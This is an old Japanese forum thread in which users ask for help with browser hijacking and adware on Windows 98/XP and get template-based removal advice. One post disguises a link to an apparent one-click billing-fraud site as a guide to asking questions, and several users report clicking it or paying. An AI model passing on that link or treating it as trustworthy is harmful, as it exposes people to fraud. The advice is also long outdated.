で、何人くらい払った人いるの？

こういう同じ質問が続くのはNEVADA以来だな

次世代コード関連のスレ見つけたよ
どちらも全然盛り上がっていませんね。

次世代コードのガイドライン
http://that3.2ch.net/test/read.cgi/gline/1093973458/
個人情報を特定可能な次世代コードです
http://tmp4.2ch.net/test/read.cgi/mog2/1094296799/

すいませんエロ画像見てたら、IEがおかしくなってしまいました。
ウイルスソフトは入れてません。osはウインドウズ98です。
テンプレにあるサイトに行こうとすると
ttp://moreporn.biz/new/index.phpに行かされそうになります。
ホームはttp://ez-finder.com/cgi-bin/index.cgi?c=1になってしましました。
どうすればいいのでしょうか

>>817
ここは、スパイウエアを主に扱っているのね
だから、アンチウイルスが入っていることが前提で話をすすめるのです
取りあえず、オンラインスキャンをしてみようね、それで沢山ウイルスが
出てきたら明日アンチウイルスソフトを購入しようね。

>>817
98なら、>>532 を試してみる手もあるな
98の場合は、レジストリーの復旧だからファイルは残るらしい
それでも、アンチウイルスソフトは買え
インターネットをする上での最低限の自己防衛手段だから
無防備で戦地に向かい、助けてくださいって言われても誰も
助けてくれないよ。

質問への答え方
ttp://www.linux.or.jp/column/20020222.html

スパイウエアとかアドウエアで
ＤＶＤドライブとか壊れたりしますか？
急に焼けなくなりました。

>>818>>819
何も知らないのに書込みしてすみませんでした。
親父のパソコンなので動転してしまいました…
今ノートン体験版をダウンロードしてます。

>>821
ガス代は早めに払えよ

>>821
スパイウエアに感染すると、ＣＰＵパワーをそちらで使われるから
焼きに失敗する可能性は有るし、他にも悪さをしているようなので
焼けなくなる可能性はあるよ、あくまで可能性のはなしね

>822
持っていて損が無い数少ないジャンルのソフトなんだから買えよ！
そんなんだから、痛い目に逢うんじゃねーか。

オレクシスの広告が消せません。
助けてください。
一応過去スレは眺めてみましたが、もし既出でしたらどのあたりまで遡ってスレ確認すればよいか教えてください。

>>826
テンプレに書いてあることを全部やる。全部だぞ。

>>826
オレクシスはテンプレを全部やっても消せない可能性が高い（もう対応したかな？）
http://pc5.2ch.net/test/read.cgi/sec/1091346741/234
↑この辺を参考に。
だからといってテンプレを全くやらずにいきなりHijackThisでFixしても、また復活するだけだから注意。

>>828
自演すんなぼけ

＞827,828
レスありがとうございます。
消せたかどうかはまだ確認できませんが、本当にありがとうございました。

質問スレからこちらに誘導されて
スパイウェア駆除しまくって
テンプレ一通りやって改善されないので質問します。

ＩＥ起動時、非起動時関係なく突然Ｉブラウザが開いて下記の広告ページが表示されます。
ttp://adv1.eblocs.com/spyblocs/adv/dmedi_002.html
その他にも何種類かありますが　ほとんどがこれです。

関係あるかどうか解りませんが、タスクバーに
インストールした覚えのない　Enter　Search　Termsという
検索ツールが常駐していて消えません。(普段は検索バー内に時計)

解決方法を教えて下さい。

>>831
>>1の質問の仕方も守ってない奴は釣りっぽい臭いしかしない
本当に困ってるなら、騙る馬鹿いるからちゃんとルールはまもっとけ

テンプレ全部やったなら、>>5のHijackThisをやってここに貼ってみる

ネタスレage

>>831
HijackThis をやると、テンプレしてないのがばれちゃうぞ
ちゃんとやっとけよ

>>831
どこの質問スレかわからないから色々探してみた
http://pc5.2ch.net/test/read.cgi/sec/1091895881/985-986

>OSはXP　ウイルスバスター2004をインストールしています。
ちゃんとこういう必要な情報は書け。

投稿時間が04/09/05 14:02だから、3時間ぐらいはテンプレ試したのかな。

なんとか　解決したっぽいです。　ご迷惑をおかけしました。

質問の仕方
http://www.cat-e.be/member/

話がつまらない奴のガイドライン

５．同じネタを何度も繰り返す

やばい、テンプレ全部やってねーや、やらないとまずいな
↓
あれ、テンプレやったらあっさり解決しちゃった
↓
>>836

>>837に似たアドレスを踏んだら何やらのメンバーに強制登録されてしまったみたいです。
怖くなってすぐ閉じてしまったのですが、このような場合どのように対処したらよいのでしょう？
ちなみに、俺が踏んだのは↓です。

http://www.cat-e.be/member/index.php

>>840 さんざん既出。無視していい。

お客が来ないとｼﾞｴﾝShowか。

>>841
過去ログも見ずに書き込みしたこと大変申し訳ありませんでした。
その｢無視していい｣というのは「皆、こいつ過去ログも見てないから無視していいよ」
という意味なのか、「そのアドレス踏んでも気にせず無視してればいいよ｣という意味なのかどっちなのでしょうか？

>>364氏も同じ事態に陥っていたみたいなのでその辺のレスを参考に、
何かおかしくされたとか、変なもん送られてきたとか無さそうなので、無視しようという結論に達したのですが。

>>843
「そのアドレス踏んでも気にせず無視してればいいよ｣

>>844
なるほど、わかりました。
こういったことは初めてだったのでいい経験になったと思い込むことにします。
ありがとうございました。
あと、スレ汚しごめんなさい

　　☆｡:.+:　　／■＼
　　　..　:.　　（　・３・ ） 　君とよくこの店に 来たものさ♪
　　　　 ／￣ヽ/,― ､＼ o｡｡｡　　 訳もなくお茶を飲み 話したよ♪
.:☆　　 |　||三∪●）三mΕ∃.　　　　　
.:*　 　　＼＿.へ--ｲ＼ 　ﾟ ﾟ ﾟ
+:..♪.:｡ﾟ*.:..　　（＿）（＿）　　　　　☆｡:.+:
　☆｡:.+::..　　　☆:.°+　　　　　.. :
　　　｡*.:☆ﾟx*+ﾟ｡::.☆ο::.+｡　*ρ

すいませんH画像見てたら
ホームページの設定がおかしくなったんです。
http://hot-search.biz/index.html　
になってしまうんです。
OSはXP　セキュはノートン
SpybotとCWShredderを試してみました。
復元ポイントってのはこういう状態
になった以前にありませんでした。

よろしくお願いします。

ttp://www.cat-e.be/member/index.php

上のサイトを見てカネ払え、と来たんで、カネを払ったんですけど、これウィルスですか？

お、おまえら〜

>>848
窓の手使え

　　　　　　　　　　　　　　　
　　　　　　　　　　　　　　　　窓の手使え

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　,／|ﾐ=､
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ／　 .|ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　.|　 　 |ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ,／|ﾐ|　　　|ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　,／　 |ﾐ|　　　|ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　　　　　　　 　 　 　 |　 　 |ﾐ|　　　|ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　 　 　 　 　　　　　　|　 　 |ﾐ|　　　|ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　　　　 　 　 　 　　　| 　 　|ﾐ| 　 　|ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　　　　 　 　 　 　　　| 　　 |ﾐ| 　 　|ﾐﾐﾐ|
　　　　　　　　　　　　　　　　　　　　　　　　　　 　 　 　 　|　 　 |ﾐ| 　 　|ﾐﾐﾐ|
　 　 　 　　　　　　　　　　　　　　　　　　　　　　　　　_,-'"|.　　 |ﾐ|　　　|ﾐﾐﾐ|
　　　　　　　　　　　　 _,. -'' "￣~ﾞ三=-_､_　　　 _,.-'"　　 |.　　 |ﾐ|　　　!ﾐﾐﾐ|
　　　　　　　　　 ,,.-''"　r _､ 　 　　　三三ﾀ_,.-''"　　　 　 |　 　|ミ|　 ,.彡ヾﾐ|
　　　　　　　　／　　　 i {ぃ}} 　 　 　 _ﾆ/　　　 　 　 -=三|　　｣ミﾋ彡彡ｲﾐヾ
　　　　　　　/,.､　　 　 `--"　　　　　 ﾆｌ 　 　　-=ﾆ三=-''レ彡ﾐﾐr'"　 　|ﾐﾐﾐ|
　　　　　　 ｌ {ゞ}　　　　i　　　　　　　　.ﾆl==三三ﾆ=''"　 　,＞'"|ﾐ|　　　 |ﾐﾐﾐ|
　　　　　　.l　`" i_,,...-''| 　 　　　 　 　 ニ`=-=i'"　 　 　 　|　　　|ﾐｌ,..-=彡ヾﾐ|
　　　　　_,.-!　 　 !　　i　　　　 　 　　-ﾆ三三/ 　 　 　 　 L.. -ﾆヾ|ヾ彡'='''"
　 　 　 l´,.- l 　 　＼/　　　　 　　 -ﾆ三三／　　　　　　　 ヾ-‐''"
　　_.　 !　ｒi　l＼　　　　 　　__--三三三='"
　 j'‘´l `´ |　!　 `　ミ三三三三三＝''"
　i',.. '´}　　|　|
　 l,.. r´　　 '´
　　 }

>>847
ノートンの定義が最新のものになっているかどうか確認後スキャン
コントロールパネルに変なものがないかどうか確認
Ad-awareSEを使ってスキャン＆駆除
それでもダメならHijackThisやってここに貼る

http://www.cat-e.be/member/index.php

ハッタリですよね？

serach toolbar ってのがスタートページの上部に設定されてしまいます。
メインの画面には
C:\WINDOWS\SYSTEM32\IEsp.mhtというアドレスで
表示はTODAY　TOP100SERCHS　と表示されてます。
いわゆるabout blank系のものかと思います。
OSはXPです。実は前にMEをつかっててときにも同じようなこと
があっていろいろソフト使ったが駄目で、結局ウインドウズアップデイト
しただけで治りました。今回は駄目です

テンプレで紹介されてるスパイボット、CWシュレッダー、ADーAWARE
はすべて使用しました。いろいろ削除して、前よりよくはなりました
前は「ここをクリック」みたいな通常のリンクさえたどれなくなっていたのです
しかしどうも根っこの部分に何かあるようです。

もう半日これに悩んで、とほほです。
なにかアドバイスありますでしょうか？

>>854
アンチウィルスソフトを入れてスキャンするか、オンラインスキャンを試してみる
コントロールパネルのアプリケーションの追加と削除に変なものがないかどうかを確認
それでもダメならHijackThisやってここに貼る

うおおおおおおおおおおありがとうございます
今見たらアプリの中に
ドンズバtoolbarってのがあった。
しかしもうひとつ怪しいのが
Winad　client
これも削除していいんでしょうか？

>>856
>>855はテンプレに書いてある範囲の事なんだけど(--;
覚えがないものは全てアンインストールした方がいいよ

げええ
消したら
http://www.coolsearch.biz/index.html
というアドレスがTOPページに変更・・・。
とほほほほほほ

>>858
複合感染しまくってるだけだと思う
あと、アンチウィルスソフトが入っていないと、せっかく駆除しても
トロイがまた同じ物をダウンロードする事もよくある
テンプレを良く読んで、一通り全部の作業を終わらせる事を推奨する

ウイルススキャンは入ってはいるのですが
エラーというか不能状態です。
ただこのスレで聞くと起こられるかと思って・・。
普通PCを起動すれば自動で起動するはずなのにしないんです
手動でするとどの項目も「現在無効　危険」見たいな表示で
「有効にする」　をクリックすると再インストールしてください
って出ます。その繰り返し

ウイルスについては専用スレで聞いてみます
ありがとうございましや。

>>860
どこの会社のアンチウィルスソフトかわからないが（McAfeeあたりか？）、
そういう不自然な段階で既にウィルスが何かシステムをいじってるって事。
再インストールしろと言われているなら再インストールして、最新の定義にアップデートして、
その後に一度全部のファイルをスキャンしないと無意味。

OSはXPをつかっているのですが、jpgをクリックしたか何かしたら、
Outlook　Expressがどうとかと出て、何かダウンロードされたかもしれないんですが、
その確認と削除はどうやるのかどなたか教えてください。